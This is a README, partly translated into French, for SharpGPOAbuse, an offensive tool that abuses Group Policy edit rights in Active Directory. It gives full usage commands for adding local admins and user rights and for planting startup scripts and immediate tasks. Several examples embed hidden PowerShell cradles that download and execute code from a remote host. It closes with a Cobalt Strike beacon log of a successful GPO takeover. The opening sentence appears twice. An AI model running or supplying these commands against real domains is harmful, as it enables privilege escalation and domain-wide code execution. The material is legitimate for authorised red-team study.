
SharpGPOAbuse est une application .NET écrite en C# qui peut être utilisée pour tirer parti des droits d'édition d'un utilisateur sur un objet de stratégie de groupe (GPO) afin de compromettre les objets contrôlés par ce GPO.
SharpGPOAbuse est une application .NET écrite en C# qui peut être utilisée pour exploiter les droits de modification d'un utilisateur sur un objet de stratégie de groupe (GPO) afin de compromettre les objets contrôlés par ce GPO.
Plus de détails sont disponibles dans l'article de blog suivant : https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
Assurez-vous que les paquets NuGet nécessaires sont correctement installés et compilez simplement le projet dans Visual Studio.
Usage:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
SharpGPOAbuse prend actuellement en charge les options suivantes :
| Option | Description |
|---|---|
| --AddUserRights | Ajouter des droits à un utilisateur |
| --AddLocalAdmin | Ajouter un utilisateur au groupe des administrateurs locaux |
| --AddComputerScript | Ajouter un nouveau script de démarrage d'ordinateur |
| --AddUserScript | Configurer un script d'ouverture de session utilisateur |
| --AddComputerTask | Configurer une tâche immédiate d'ordinateur |
| --AddUserTask | Ajouter une tâche immédiate à un utilisateur |
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Si vous souhaitez exécuter le script malveillant uniquement sur un utilisateur ou un ordinateur spécifique contrôlé par le GPO vulnérable, vous pouvez ajouter une condition if dans le script malveillant :
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Options required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Si vous souhaitez exécuter la tâche malveillante uniquement sur un utilisateur ou un ordinateur spécifique contrôlé par le GPO vulnérable, vous pouvez utiliser quelque chose de similaire à ce qui suit :
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| Option | Description |
|---|---|
| --DomainController | Définir le contrôleur de domaine cible |
| --Domain | Définir le domaine cible |
| --Force | Écraser les fichiers existants si nécessaire |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!